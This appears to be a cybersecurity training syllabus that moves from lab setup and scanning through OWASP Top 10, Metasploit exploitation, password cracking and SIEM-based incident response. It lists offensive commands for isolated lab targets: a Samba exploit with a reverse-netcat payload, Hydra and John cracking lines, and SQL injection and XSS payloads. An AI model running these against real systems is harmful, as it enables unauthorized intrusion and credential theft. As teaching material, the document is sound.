**TASK 1 – FOUNDATIONS OF CYBERSECURITY**

**Overview**

Task 1 establishes the fundamental knowledge required for all cybersecurity work. It covers essential concepts, threat models, and network basics, combined with practical lab setup and tooling.

**Key Concepts**

**CIA Triad**

The CIA Triad is the foundational model of information security consisting of three pillars:

1. Confidentiality: Only authorized users can access sensitive data. Achieved through encryption and access controls.
2. Integrity: Data remains unaltered and authentic. Achieved through checksums, digital signatures, and version control.
3. Availability: Systems and data are accessible when needed. Achieved through redundancy, backups, and DDoS protections.

**Common Threats**

1. Malware: Viruses, trojans, ransomware, and worms that compromise system integrity and confidentiality.
2. Phishing: Social engineering attacks to trick users into revealing credentials or sensitive data through fake emails or websites.
3. Man-in-the-Middle (MITM): Interception of communications between two parties to steal or modify data.
4. SQL Injection: Exploiting databases by inserting malicious SQL commands through user input fields.
5. Denial of Service (DoS): Overwhelming systems with traffic to deny legitimate users access to services.
6. Brute Force Attacks: Systematic attempts to guess passwords or encryption keys.
7. Zero-Day Exploits: Attacks using previously unknown vulnerabilities before patches are available.

**Network Fundamentals**

1. OSI Model: Seven layers of network communication (Physical, Data Link, Network, Transport, Session, Presentation, Application).
2. TCP/IP: Core protocols for internet communication and the foundation of modern networks.
3. Ports: Numbered endpoints for network services. Examples: 80 for HTTP, 443 for HTTPS, 22 for SSH, 21 for FTP.
4. Firewalls: Devices or software that filter network traffic based on predetermined security rules.
5. Subnetting: Dividing networks into smaller segments for better security and management.
6. VPN: Virtual Private Networks for secure remote access and encrypted communications.

**Lab Setup**

**Virtualization Environment**

The lab uses virtual machines to create isolated, safe testing environments:

Tool: Oracle VirtualBox or VMware Workstation Pro

Purpose: Create sandboxed environments where attacks can be performed without affecting production systems or external networks

Isolation: Virtual networks separate lab from host network

**Operating Systems and Applications**

1. Kali Linux: Penetration testing platform with pre-installed hacking tools and utilities
   * Contains Nmap, Metasploit, Wireshark, Burp Suite, and hundreds of other tools
   * Used as the "attacker" machine
2. Metasploitable2: Deliberately vulnerable Linux system designed for security training
   * Contains numerous intentional vulnerabilities
   * Used as the "target" machine for exploitation practice
   * Runs vulnerable services like FTP, SSH, Samba, Apache, PostgreSQL
3. DVWA (Damn Vulnerable Web App): Web application with intentional vulnerabilities
   * Demonstrates web application security flaws
   * Includes SQL Injection, XSS, CSRF, and other OWASP Top 10 vulnerabilities
   * Can run as Docker container or traditional web application

**Key Setup Steps**

1. Install VirtualBox or VMware hypervisor on host machine
2. Create isolated virtual network (bridged or NAT mode) for lab machines
3. Deploy Kali Linux VM with minimum 2GB RAM and 20GB storage
4. Deploy Metasploitable2 VM with 512MB RAM and 40GB storage
5. Deploy DVWA as Docker container or separate VM
6. Configure network connectivity between VMs (ping test to verify)
7. Document lab configuration including IP addresses and network diagram
8. Create snapshots of clean VMs for quick reset between exercises

**Typical Lab Network**

Host Machine (Windows/Mac/Linux)  
|  
+-- Virtual Network (192.168.1.0/24)  
|  
+-- Kali Linux (192.168.1.10) - Attacker  
|  
+-- Metasploitable2 (192.168.1.20) - Target  
|  
+-- DVWA (192.168.1.30) - Web App Target

**Deliverables for Task 1**

1. Lab Setup Report: Document including VM specifications, network configuration, and troubleshooting
2. Linux Cheat Sheet: Quick reference for common Linux commands such as:
   * File management (ls, cd, cp, mv, rm, mkdir)
   * Networking (ifconfig, ping, netstat, ss, iptables)
   * Permissions (chmod, chown, sudo)
   * Process management (ps, top, kill)
   * User management (useradd, userdel, passwd)
3. Video Demo: Brief video showing lab setup, VM boot process, and basic tool demonstrations

**TASK 2 – NETWORK SECURITY & SCANNING**

**Overview**

Task 2 teaches reconnaissance and network discovery techniques used in the first phase of penetration testing. It covers information gathering, network scanning, and vulnerability assessment methodologies.

**Reconnaissance Techniques**

**OSINT (Open Source Intelligence)**

OSINT is the process of gathering information from publicly available sources. It is the starting point for any security assessment.

**Whois**

Purpose: Retrieve domain registration information including owner, registrar, contact details, and name servers

Output Contains:

* Registrant name and organization
* Registrar information
* Name servers
* Domain creation and expiration dates
* Administrative and technical contacts

Command: whois example.com

Security Value: Identifies organization owning target, reveals naming patterns for subdomains

**Nslookup**

Purpose: Query DNS servers to resolve domain names into IP addresses and discover DNS records

Common Queries:

* A records: Domain to IPv4 address
* AAAA records: Domain to IPv6 address
* MX records: Mail servers for domain
* NS records: Name servers for domain
* CNAME records: Aliases for domain

Command: nslookup example.com

Security Value: Maps DNS infrastructure, discovers subdomains and mail servers, identifies DNS misconfigurations

**Shodan**

Purpose: Search engine for internet-connected devices showing what services are exposed online

Features:

* Searches for services running on public IP addresses
* Shows default credentials and outdated systems
* Identifies exposed management interfaces
* Reveals network infrastructure details

Security Value: Discovers exposed systems, default credentials, vulnerable versions, network topology

**Google Dorking**

Purpose: Advanced search operators to find exposed information indexed by Google

Examples:

* site:example.com: Shows all indexed pages from domain
* filetype:pdf: Shows PDF files indexed by Google
* intitle:"admin": Shows pages with "admin" in title
* inurl:"/admin": Shows URLs containing "/admin"

Security Value: Discovers exposed documentation, configuration files, backup files, employee directories

**DNS Enumeration**

Purpose: Systematically discover subdomains and DNS records associated with target domain

Techniques:

* Zone transfer attempts (AXFR)
* Brute force subdomain discovery
* Reverse DNS lookups
* Wildcard DNS detection

Tools: nslookup, dig, dnsenum, fierce

Security Value: Maps complete DNS infrastructure, discovers internal systems, identifies misconfigurations

**Network Scanning**

**Nmap (Network Mapper)**

Nmap is the industry standard for network discovery and security auditing. It operates at the network and transport layers.

**Primary Role**

Host discovery, port scanning, and service version detection. Nmap answers "what is running and where?" on a target network.

**Technique**

Nmap uses custom-crafted network packets with specific flags (such as SYN flags in stealth scanning) to map out networks and identify active hosts and services. It can bypass basic firewalls and filters through various evasion techniques.

**Key Feature: Nmap Scripting Engine (NSE)**

The NSE allows users to write and run thousands of custom scripts for advanced network enumeration tasks including:

* Basic vulnerability detection (--script vuln)
* Service enumeration (--script default)
* Brute force attacks (--script brute)
* Information disclosure (--script discovery)
* Version-specific vulnerabilities

**Timing Options**

Nmap provides flexible timing templates balancing speed and stealth:

* T0 (Paranoid): Extremely slow and sneaky, designed to evade IDS
* T1 (Sneaky): Very slow but still stealthy
* T2 (Polite): Normal speed, polite to network
* T3 (Normal): Default timing template
* T4 (Aggressive): Fast scanning suitable for responsive hosts
* T5 (Insane): Very fast but may miss hosts or get inaccurate results

**Output Formats**

Nmap can output results in multiple formats:

* Normal: Human-readable text format
* XML: Machine-readable for automated processing
* Grepable: Format suitable for command-line tools and scripting
* All three formats can be generated simultaneously

**Common Nmap Commands**

1. Basic Port Scan  
   nmap target\_ip  
   Scans top 1,000 common ports
2. Full Port Sweep  
   nmap -p- target\_ip  
   Scans all 65,535 TCP ports
3. SYN Stealth Scan  
   nmap -sS target\_ip  
   Sends SYN packets without completing three-way handshake
4. TCP Connect Scan  
   nmap -sT target\_ip  
   Completes full TCP connection (slower but more reliable)
5. UDP Scan  
   nmap -sU target\_ip  
   Discovers UDP-based services
6. Service Version Detection  
   nmap -sV target\_ip  
   Connects to open ports and identifies service names and versions
7. Operating System Detection  
   nmap -O target\_ip  
   Analyzes TCP/IP stack to identify operating system
8. Aggressive Scan (All Features)  
   nmap -A target\_ip  
   Combines service detection, OS detection, script scanning, and traceroute
9. Vulnerability Script Scanning  
   nmap --script vuln target\_ip  
   Runs known vulnerability checks against target
10. Output Formats  
    nmap -oN output.txt target\_ip (normal format)  
    nmap -oX output.xml target\_ip (XML format)  
    nmap -oG output.grep target\_ip (grepable format)

**Vulnerability Assessment**

**OpenVAS (Open Vulnerability Assessment System)**

OpenVAS (now part of Greenbone Vulnerability Management - GVM) is a powerful, enterprise-grade vulnerability scanner that performs deep, intrusive security checks.

**Primary Role**

Automated, authenticated, and unauthenticated vulnerability testing. OpenVAS answers "if a running service is exploitable?" going far beyond what Nmap can identify.

**Depth of Scanning**

OpenVAS performs comprehensive checks including:

* Missing security patches
* Weak SSL/TLS certificates
* Insecure configurations
* Known CVEs affecting installed versions
* Default credentials
* Security misconfigurations
* Protocol weaknesses

**Key Feature: Network Vulnerability Tests (NVTs) Database**

OpenVAS uses constantly updated database of Network Vulnerability Tests:

* Contains thousands of vulnerability checks
* Automatically updated with latest CVEs
* Covers CVE, CVSS scores, and remediation guidance
* Provides detailed vulnerability descriptions

**Operation**

OpenVAS runs as dedicated server component (Greenbone Vulnerability Manager) controlled via web interface:

1. Access Web Interface: [https://localhost:9392](https://localhost:9392/)
2. Create Target Asset: Specify IP address or network range
3. Create Scan Task: Select vulnerability assessment policy
4. Configure Credentials: Optional authenticated scanning (more thorough)
5. Run Scan: Monitor progress through web dashboard
6. Review Results: Examine findings organized by severity
7. Generate Report: Export detailed report with CVE mappings

**Reporting Capabilities**

OpenVAS generates detailed reports with:

* Severity ratings (Critical, High, Medium, Low)
* CVSS scores (0-10 scale)
* CVE references and links
* Detailed vulnerability descriptions
* Affected components and versions
* Remediation recommendations
* Evidence and affected resources

**Scan Interpretation**

**Port States**

* Open: Port is accessible and service is running
* Closed: Port responds but no service is running
* Filtered: Firewall is blocking the port

**Service Fingerprinting**

Service versions identified through:

* Banner grabbing: Reading service welcome messages
* Probe responses: Service-specific response analysis
* Protocol analysis: Understanding service communication

**CVE Mapping**

Once versions are identified, vulnerability databases (NVD, CVE) reveal known exploitable flaws:

* CVE-YYYY-XXXXX: Unique identifier for vulnerability
* CVSS Score: Numerical severity rating
* Exploitability: How easily vulnerability can be exploited
* Impact: Consequence of successful exploitation

**Deliverables for Task 2**

1. Comprehensive Nmap Scan Report
   * Text format with detailed port listing
   * XML format for further processing
   * Screenshot of scan execution
2. OpenVAS Vulnerability Assessment Report
   * Full vulnerability listing by severity
   * CVE mappings for each finding
   * Exploitability analysis
   * Service version details
3. Risk Matrix
   * Prioritizes findings by impact and likelihood
   * Separates critical findings for immediate attention
   * Groups similar vulnerabilities
4. Mitigation Recommendations
   * For each critical vulnerability: immediate actions
   * Patch management strategy
   * Network hardening recommendations
   * Monitoring and detection suggestions

**TASK 3 – WEB APPLICATION SECURITY**

**Overview**

Task 3 focuses on identifying and exploiting web application vulnerabilities with emphasis on OWASP Top 10 and common attack vectors. It teaches both offensive (finding vulnerabilities) and defensive (fixing vulnerabilities) perspectives.

**OWASP Top 10 Web Application Security Risks**

The Open Web Application Security Project (OWASP) identifies the top 10 most critical web application security risks that organizations face.

**1. SQL Injection (SQLi)**

Description: Attacker inserts malicious SQL code into input fields to manipulate database queries

Attack Example:

* Username field: admin' OR '1'='1
* Query becomes: SELECT \* FROM users WHERE username='admin' OR '1'='1'
* Result: Returns all users, bypassing authentication

Impact:

* Bypass authentication
* Extract sensitive data from database
* Modify or delete database records
* Execute administrative database operations

Prevention:

* Use parameterized queries (prepared statements)
* Input validation and whitelist allowed characters
* Implement principle of least privilege for database accounts
* Use Web Application Firewall (WAF) rules

**2. Cross-Site Scripting (XSS)**

Description: Attacker injects malicious JavaScript code into web pages viewed by other users

Types of XSS:

* Stored XSS: Malicious script stored in database and executed for all users
* Reflected XSS: Malicious script reflected back to user immediately
* DOM-based XSS: Vulnerability exists in client-side JavaScript code

Attack Example:

* Vulnerable Code: <input value="user\_input">
* Malicious Payload: "><script>alert('XSS')</script>
* Result: Script executes in user's browser

Impact:

* Steal user session cookies and authentication tokens
* Hijack user accounts
* Deface website content
* Redirect users to malicious sites

Prevention:

* HTML encode all user input on output
* Use Content Security Policy (CSP) headers
* Input validation and sanitization
* Use security-focused templating engines

**3. Cross-Site Request Forgery (CSRF)**

Description: Attacker tricks authenticated user into performing unintended actions on a website

Attack Example:

* User logs into bank.com
* User visits attacker.com while still logged into bank
* attacker.com submits hidden form to bank.com to transfer money
* Bank processes request because user is already authenticated

Impact:

* Unauthorized fund transfers
* Password changes
* Account modifications
* Data deletion

Prevention:

* Implement CSRF tokens in forms
* Use SameSite cookies
* Check HTTP referer header
* Require re-authentication for sensitive actions

**4. Broken Authentication**

Description: Weak authentication mechanisms allowing attackers to compromise user accounts

Common Issues:

* Weak or default passwords not enforced
* Lack of multi-factor authentication
* Session tokens not properly invalidated
* Password reset functions not secure
* Credentials transmitted in clear text

Impact:

* Unauthorized account access
* Identity theft
* Unauthorized transactions

Prevention:

* Enforce strong password policies (length, complexity)
* Implement multi-factor authentication (MFA)
* Use secure session management
* Implement secure password reset procedures
* Use HTTPS for all authentication

**5. Broken Access Control**

Description: Users can access resources or functions they shouldn't have permission for

Common Issues:

* Missing authorization checks
* Role-based access control not implemented
* Direct object references not validated
* API endpoints without authorization

Impact:

* Unauthorized data access
* Privilege escalation
* Unauthorized modifications

Prevention:

* Implement role-based access control (RBAC)
* Apply principle of least privilege
* Validate authorization on every resource access
* Use whitelist approach (deny by default)

**6. Sensitive Data Exposure**

Description: Sensitive data transmitted or stored without proper encryption

Common Issues:

* Data transmitted over HTTP (not HTTPS)
* Sensitive data stored in plain text
* No encryption at rest
* Weak encryption algorithms
* Hardcoded encryption keys

Impact:

* Theft of personal information
* Financial fraud
* Identity theft

Prevention:

* Use HTTPS/TLS for all data transmission
* Encrypt sensitive data at rest
* Use strong encryption algorithms
* Remove unnecessary sensitive data
* Implement key management

**7. XML External Entities (XXE)**

Description: Attacker exploits XML parser to read files or perform denial of service

Attack Example:

* XML payload with external entity reference
* Parser reads local files when processing XML
* Attacker retrieves sensitive files

Impact:

* Arbitrary file disclosure
* Server-side request forgery (SSRF)
* Denial of service

Prevention:

* Disable XML external entity processing
* Use JSON instead of XML when possible
* Validate and sanitize XML input
* Use security-focused XML parsers

**8. Broken Object Level Access Control**

Description: APIs expose objects without proper authorization checks

Common Issues:

* Direct references to database records (e.g., /api/user/123)
* No verification of ownership
* No authorization checks on API endpoints

Impact:

* Unauthorized data access
* Data modification
* Data deletion

Prevention:

* Implement authorization checks on all API endpoints
* Verify user owns/can access requested resource
* Use indirect references instead of direct IDs

**9. Using Components with Known Vulnerabilities**

Description: Application uses libraries, frameworks, or other components with known security flaws

Impact:

* Exploitation of known vulnerabilities
* Zero-day attacks
* Supply chain attacks

Prevention:

* Maintain inventory of components
* Monitor for vulnerability announcements
* Keep dependencies updated
* Use dependency scanning tools
* Implement security patches promptly

**10. Insufficient Logging and Monitoring**

Description: Attacks go undetected due to lack of logging or alerting

Issues:

* No audit logs for security events
* Logs not monitored or analyzed
* No alerts for suspicious activity
* Logs stored insecurely

Impact:

* Attacks go undetected
* No evidence for incident response
* Compliance violations

Prevention:

* Log all security-relevant events
* Implement centralized log management
* Set up real-time alerting
* Monitor for suspicious patterns
* Protect log integrity

**Web Application Testing Tools**

**OWASP ZAP (Zed Attack Proxy)**

Purpose: Automated scanning and manual testing of web application security

Features:

* Automated vulnerability scanning
* Proxy to intercept and manipulate web traffic
* Active and passive scanning modes
* Brute force testing
* Fuzzing capabilities
* Report generation

Usage:

* Set browser to use ZAP proxy
* Browse target application
* Run automated scan
* Review findings and test manually

**Burp Suite**

Purpose: Professional web application security testing platform

Features:

* Scanner: Automated vulnerability detection
* Proxy: Intercept and modify traffic
* Repeater: Modify and resend requests
* Intruder: Automated parameter testing
* Decoder: Encoding/decoding utilities
* Comparer: Compare responses

Editions:

* Community: Free version with basic features
* Professional: Full features for commercial use

**DVWA (Damn Vulnerable Web Application)**

DVWA is an intentionally vulnerable web application designed for learning web security testing.

Vulnerability Levels:

* Easy: Simple exploitation, minimal security
* Medium: More realistic, some filtering
* Hard: Close to real-world scenario
* Impossible: Properly secured implementation

Common Vulnerable Functions in DVWA:

* SQL Injection (Easy to Hard levels)
* Command Injection (Easy to Hard levels)
* File Inclusion (Easy to Hard levels)
* XSS (Stored, Reflected - Easy to Hard)
* CSRF (Easy to Hard)
* Brute Force (Easy to Hard)

Learning Path:

1. Start with Easy level to understand vulnerability
2. Progress to Medium to see real-world complexity
3. Try Hard level to apply advanced techniques
4. Study Impossible level to understand proper fixes

**Attack Execution Methodology**

**SQL Injection Exploitation**

1. Identify injection point: Input field that goes to database query
2. Test for vulnerability: Enter basic SQL syntax (quote character, OR 1=1)
3. Exploit vulnerability: Craft query to extract data or bypass authentication
4. Extract data: Use UNION queries or time-based techniques
5. Document findings: Prove data access and impact

**XSS Exploitation**

1. Identify injection point: Input field rendered in HTML
2. Test for vulnerability: Enter basic HTML/JavaScript payload
3. Exploit vulnerability: Execute JavaScript to steal cookies or perform actions
4. Demonstrate impact: Show session hijacking or defacement
5. Document findings: Prove arbitrary code execution

**Deliverables for Task 3**

1. Web Application Security Analysis Report
   * Description of each vulnerability found
   * Screenshot of vulnerability
   * Step-by-step exploitation proof
   * Impact analysis
2. OWASP Top 10 Reference Document
   * Definition of each vulnerability
   * Real-world examples
   * Prevention recommendations
3. Remediation Guide
   * For each vulnerability: how to fix it
   * Secure code examples
   * Security configuration recommendations
4. Video Demonstration
   * Screen recording of exploitation
   * Commentary explaining vulnerability
   * Impact demonstration
   * Fix demonstration

**TASK 4 – EXPLOITATION & SYSTEM SECURITY**

**Overview**

Task 4 teaches offensive security techniques including exploitation frameworks, password cracking, and malware analysis. It also covers defensive security awareness training to understand and prevent these attacks.

**Exploitation Framework**

**Metasploit Framework**

Metasploit is the world's most used penetration testing framework. It automates exploit development, delivery, and payload generation.

**Purpose**

Metasploit centralizes known exploits, payload generation, and post-exploitation capabilities in a single platform, dramatically reducing time to exploit a target compared to manual exploitation.

**Architecture**

Metasploit follows modular design with reusable components:

1. Exploits: Code that triggers a specific vulnerability
2. Payloads: Code executed after successful exploitation
3. Encoders: Obfuscate payloads to bypass antivirus/IDS
4. Post-Exploitation Modules: Gather information, escalate privileges, persist access
5. Auxiliary Modules: Information gathering, network analysis, fuzzing

**Components**

Exploits:

* Target-specific code exploiting known vulnerabilities
* Organized by platform (Windows, Linux) and service type
* Identified by CVE numbers and service names

Example: exploit/multi/samba/usermap\_script for Samba RCE

Payloads:

* Code executed after successful exploitation
* Types: shell (reverse, bind), meterpreter, staged

Examples:

* cmd/unix/reverse\_netcat: Reverse shell using netcat
* cmd/windows/meterpreter/reverse\_tcp: Meterpreter shell for Windows
* cmd/unix/reverse\_bash: Bash reverse shell

Encoders:

* Obfuscate payloads to avoid detection
* Multiple encoding iterations increase evasion
* Common encoders: x86/shikata\_ga\_nai, x86/jmp\_call\_additive

Post-Exploitation:

* Modules run after gaining shell access
* Examples: hashdump (extract password hashes), migrate (move to different process)

**Basic Metasploit Workflow**

Step 1: Start Metasploit Console  
msfconsole

Step 2: Search for Exploit  
search vulnerability\_name  
Example: search samba 3.0.20

Step 3: Select Exploit  
use exploit/path/to/exploit  
Example: use exploit/multi/samba/usermap\_script

Step 4: View Options  
show options  
Displays all configurable parameters

Step 5: Set Parameters  
set RHOST target\_ip\_address # Remote host (target)  
set LHOST attacker\_ip\_address # Local host (listener)  
set LPORT listening\_port # Listener port  
set PAYLOAD cmd/unix/reverse\_netcat # Payload type

Step 6: Review Payload  
show payload  
Display selected payload details

Step 7: Execute Exploit  
run  
exploit  
Runs exploit and attempts shell connection

Step 8: Interact with Shell  
Once shell established, run commands on target system

**Metasploit Database**

Metasploit contains thousands of known exploits organized by:

* Target platform (Linux, Windows, Mac)
* Service type (SMB, FTP, HTTP, etc.)
* Vulnerability type (RCE, DoS, Privilege Escalation)
* CVE number and severity

Database is regularly updated with new exploits as vulnerabilities are discovered.

**Password Cracking**

**Hydra (Network Service Brute Force Tool)**

Hydra performs brute force and dictionary attacks on network services.

**Purpose**

Hydra attempts to login to network services using wordlists or generated passwords, discovering weak credentials that give attackers access to systems.

**Supported Protocols**

SSH, FTP, HTTP, Telnet, SMTP, POP3, IMAP, LDAP, MySQL, PostgreSQL, RDP, SMB, and many others

**Hydra Commands**

Basic Syntax:  
hydra -l username -P wordlist.txt service://target

Parameters:

* -l: Single username to test
* -L: Wordlist of usernames
* -p: Single password to test
* -P: Wordlist of passwords
* -t: Number of threads (parallel connections)
* -vV: Verbose output showing attempts

**Hydra Example**

Testing SSH with wordlist:  
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

Testing HTTP Basic Auth:  
hydra -l admin -P passwords.txt http-get://192.168.1.100

Output shows successful login attempts and credentials discovered.

**John the Ripper**

John is a password hash cracker that cracks hashes from /etc/shadow, Windows SAM, and other sources.

**Purpose**

John attempts to crack password hashes, revealing original passwords for systems that have been compromised or for authorized password recovery.

**Supported Hashes**

* Unix/Linux: MD5crypt, bcrypt, SHA-512crypt
* Windows: NTLM, LAN Manager
* Web: MD5, SHA1
* Database: MySQL, PostgreSQL, Oracle
* And many others

**John Modes**

1. Dictionary Mode: Try words from wordlist
2. Brute Force Mode: Try all character combinations
3. Hybrid Mode: Dictionary words with number/symbol additions

**John Commands**

Single Hash Cracking:  
john hash\_file

With Wordlist:  
john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt hash\_file

Show Cracked Passwords:  
john --show hash\_file

**Malware Analysis**

**Purpose**

Malware analysis examines malicious software to understand its behavior, capabilities, and how to detect or remove it.

**Analysis Types**

1. Static Analysis: Examine code without execution
   * Read strings and constants
   * Disassemble and analyze code
   * Check file signatures and metadata
   * Identify suspicious libraries
2. Dynamic Analysis: Execute in controlled environment and observe behavior
   * Monitor file system modifications
   * Monitor network connections
   * Monitor process creation
   * Monitor registry changes (Windows)
   * Monitor system calls

**Basic Malware Analysis Process**

Step 1: File Identification

* Determine file type (executable, script, document)
* Check file hash against known malware databases
* Use VirusTotal (online scanning service)

Step 2: Static Analysis

* Extract strings from binary (reveal hardcoded URLs, IP addresses)
* Disassemble with IDA Pro or Ghidra
* Identify imported functions and libraries
* Check for packers or obfuscation

Step 3: Dynamic Analysis

* Execute in isolated sandbox environment
* Monitor file system activity with tools like Process Monitor
* Monitor network traffic with Wireshark
* Monitor process creation and memory usage
* Identify command and control servers

Step 4: Documentation

* Summarize findings
* Identify capabilities (data theft, system compromise, etc.)
* List indicators of compromise (IoCs)
* Provide detection and removal recommendations

**EICAR Test File**

EICAR (European Institute for Computer Antivirus Research) provides safe test file for antivirus testing:

* File: EICAR test file is standard malware-like signature
* Purpose: Test antivirus without real malware
* Safety: Completely harmless, widely recognized by AV vendors
* Usage: Practice malware scanning and response in labs

**Tools**

VirusTotal: Online service to scan files/URLs with 70+ antivirus engines

IDA Pro: Advanced disassembler and debugger for malware analysis

Ghidra: Open-source reverse engineering tool (alternative to IDA)

Wireshark: Network protocol analyzer for monitoring traffic

Procmon: Process monitor for observing system activity (Windows)

**Security Awareness & Defense**

**Phishing Attacks**

Phishing is social engineering via email or messaging to trick users into:

* Clicking malicious links
* Entering credentials on fake login pages
* Downloading malware attachments
* Transferring money or information

**Common Phishing Tactics**

1. Urgency: "Your account has been compromised, click here immediately"
2. Authority: Impersonation of IT department or management
3. Legitimacy: Spoofed company branding and email addresses
4. Incentive: "You've won a prize, click to claim"

**Defense Against Phishing**

User Education: Train users to recognize suspicious emails

Email Filtering: Implement spam and phishing filters

Authentication: SPF, DKIM, DMARC protocols prevent email spoofing

Multi-factor Authentication: Even if credentials compromised, MFA blocks access

Suspicious Email Reporting: Encourage reporting of suspicious emails

**Social Engineering**

Social engineering manipulates people into divulging confidential information or performing actions against their interest.

**Social Engineering Tactics**

1. Pretexting: Creating false scenarios to extract information  
   Example: Attacker pretends to be IT support and asks for password
2. Baiting: Offering something to exploit curiosity  
   Example: USB drive with malware left in parking lot
3. Tailgating: Following authorized person into restricted area  
   Example: Walking through secure door behind someone with badge
4. Phishing: Covered above, emails specifically

**Defense Against Social Engineering**

Security Awareness Training: Regular training on tactics and defense

Verification Procedures: Verify identity before sharing sensitive information

Physical Security: Badge access, visitor logs, escort policies

Incident Reporting Culture: Encourage reporting of suspicious behavior

Separation of Duties: Limit single person's access to sensitive systems

**Deliverables for Task 4**

1. Exploitation Documentation
   * Screenshot of Metasploit usage
   * Proof of shell access
   * Post-exploitation activities demonstrated
   * Evidence of system compromise
2. Password Cracking Results
   * Wordlist used and results
   * Time taken to crack passwords
   * Recommendations for strong passwords
3. Malware Analysis Report (using EICAR test files)
   * Static analysis findings
   * Dynamic analysis findings (monitoring results)
   * Detection and removal procedures
4. Security Awareness Materials
   * Phishing email examples and how to spot them
   * Social engineering tactics and defense
   * Posters or brochures for staff
   * Email templates for security awareness
5. Video Demonstrations
   * Screen recording of exploitation using Metasploit
   * Demonstration of password cracking
   * Explanation of findings and implications

**TASK 5 – CAPSTONE PROJECT & INCIDENT RESPONSE**

**Overview**

Task 5 is the comprehensive capstone project integrating all previous skills. It encompasses vulnerability assessment, penetration testing, SIEM implementation, attack detection, and incident response procedures in a real-world-like scenario.

**Project Objectives**

1. Conduct complete vulnerability and penetration assessment
2. Implement mini SIEM for log analysis and threat detection
3. Simulate realistic attacks and demonstrate detection
4. Develop incident response procedures and playbooks
5. Create professional documentation and presentation

**Project Phases**

**Phase 1: Vulnerability Assessment**

Objective: Systematically identify all security weaknesses in target system

Activities:

1. Execute comprehensive Nmap scans
   * TCP SYN scans (stealth technique)
   * UDP scans for network services
   * Service version detection (-sV)
   * OS fingerprinting (-O)
   * NSE vulnerability scripts (--script vuln)
2. Map identified services to CVE database
   * Record service name and version
   * Cross-reference with CVE listings
   * Check CVSS scores for severity
   * Note exploitability and impact
3. Prioritize findings by risk
   * Critical: Immediate exploitation possible
   * High: Likely exploitable with moderate effort
   * Medium: Exploitable with effort
   * Low: Exploitable but low impact
4. Document all findings with evidence

Deliverable: Vulnerability assessment report with risk matrix

**Phase 2: Penetration Testing**

Objective: Prove exploitability of identified vulnerabilities through successful compromise

Activities:

1. Research applicable exploits for each vulnerability
   * Search Metasploit database
   * Review public exploit databases
   * Evaluate exploit reliability
   * Note any exploit limitations
2. Develop exploitation methodology
   * Determine exploit order (dependencies)
   * Identify which exploits give best access
   * Plan privilege escalation paths
   * Document alternative exploit paths
3. Execute exploits
   * Use Metasploit or manual exploitation
   * Attempt each exploit
   * Document success/failure
   * Capture proof of compromise
4. Demonstrate system compromise
   * Execute commands as compromised user
   * Show file access
   * Demonstrate privilege levels
   * Extract sensitive data
5. Show privilege escalation
   * If initial access not root, escalate to root
   * Demonstrate full system compromise
   * Show administrative capabilities

Deliverable: Exploitation report with proof of compromise for each vulnerability

**Phase 3: Incident Simulation**

Objective: Simulate realistic attack from reconnaissance through objective completion

Activities:

1. Plan comprehensive attack scenario
   * Define attacker motivation and goals
   * Plan realistic progression through attack phases
   * Identify timeline for each activity
2. Execute attack in phases
   * Phase 1: Reconnaissance (network scanning)
   * Phase 2: Initial Access (first exploitation)
   * Phase 3: Privilege Escalation (if needed)
   * Phase 4: Persistence (backdoor installation)
   * Phase 5: Evasion (covering tracks, log clearing)
   * Phase 6: Objective (data exfiltration)
   * Phase 7: Verification (confirm persistence)
3. Document complete attack timeline
   * Timestamp each activity
   * Record commands executed
   * Capture screenshots
   * Note detection opportunities
4. Analyze detection gaps
   * Where should attack have been detected?
   * What security controls are missing?
   * Why did attack succeed?
   * What controls would have prevented it?

Deliverable: Attack timeline, kill chain analysis, detection gap report

**Phase 4: SIEM Implementation**

Objective: Deploy security monitoring infrastructure for real-time threat detection

Activities:

1. Install ELK Stack components
   * Elasticsearch 7.17.9 (distributed search/storage)
   * Logstash 7.17.9 (data pipeline)
   * Kibana 7.17.9 (visualization/dashboards)
   * Filebeat 7.17.9 (log collection agent)
2. Configure log collection
   * Identify all log sources (system, services, applications)
   * Configure Filebeat to collect logs
   * Forward to Logstash for processing
   * Index in Elasticsearch
3. Create detection rules
   * SSH brute force: Multiple failed logins
   * Exploitation attempts: Suspicious patterns
   * Privilege escalation: Sudo usage, kernel exploits
   * Data exfiltration: Large outbound transfers
   * Log tampering: Log file modifications
4. Build dashboards
   * Security events timeline
   * Failed login trends
   * Port scanning detection
   * Data transfer analysis
   * Incident summary dashboard
5. Test detection against simulated attacks
   * Verify each detection rule triggers
   * Document alert thresholds
   * Measure detection latency

Deliverable: SIEM configuration documentation and dashboards

**Phase 5: Incident Response**

Objective: Develop procedures for detecting, containing, and recovering from security incidents

Activities:

1. Define incident response process
   * Preparation: Infrastructure, tools, training
   * Detection: Monitoring and alerting
   * Analysis: Determine scope and impact
   * Containment: Stop attack, prevent spread
   * Eradication: Remove threats
   * Recovery: Restore systems
   * Lessons learned: Improve processes
2. Create response procedures
   * Alert verification: Is this real?
   * Containment actions: Block IP, isolate system, kill processes
   * Eradication: Remove backdoors, patch vulnerabilities
   * Recovery: Restore from backup, verify clean state
3. Document playbooks
   * Step-by-step procedures
   * Roles and responsibilities
   * Communication protocols
   * Escalation procedures
4. Test procedures
   * Simulate incident scenario
   * Execute containment procedures
   * Verify effectiveness
   * Document lessons learned

Deliverable: Incident response playbooks and procedures

**Key Concepts**

**Attack Kill Chain (Cyber Kill Chain)**

The attack kill chain describes seven stages of a cyber attack:

1. Reconnaissance: Information gathering about target
   * Network scanning to identify systems
   * Service enumeration to find versions
   * OSINT to discover infrastructure
2. Weaponization: Preparing exploitation tools
   * Creating custom payloads
   * Configuring exploits
   * Testing payloads
3. Delivery: Getting payload to target
   * Email attachment (phishing)
   * Web-based exploit
   * Physical media
   * Supply chain compromise
4. Exploitation: Triggering vulnerability with payload
   * Vulnerability execution
   * Remote code execution
   * System compromise
5. Installation: Establishing persistence
   * Backdoor installation
   * Persistence mechanisms
   * Access maintenance tools
6. Command & Control (C2): Maintaining connection to target
   * Communication channel
   * Remote command execution
   * Data exfiltration
7. Actions on Objectives: Achieving attacker goals
   * Data theft
   * System sabotage
   * Lateral movement
   * Covering tracks

**Understanding the Kill Chain**

Detecting at each stage becomes progressively harder:

* Reconnaissance: Easiest to detect (network scanning alerts)
* Delivery/Exploitation: Detectable with IDS/IPS
* Installation/C2: Requires behavioral analysis and SIEM
* Actions on Objectives: May already be too late

**CVSS (Common Vulnerability Scoring System)**

Standardized scoring system for vulnerability severity (version 3.1):

Base Score (0-10):

* 0.1-3.9: Low
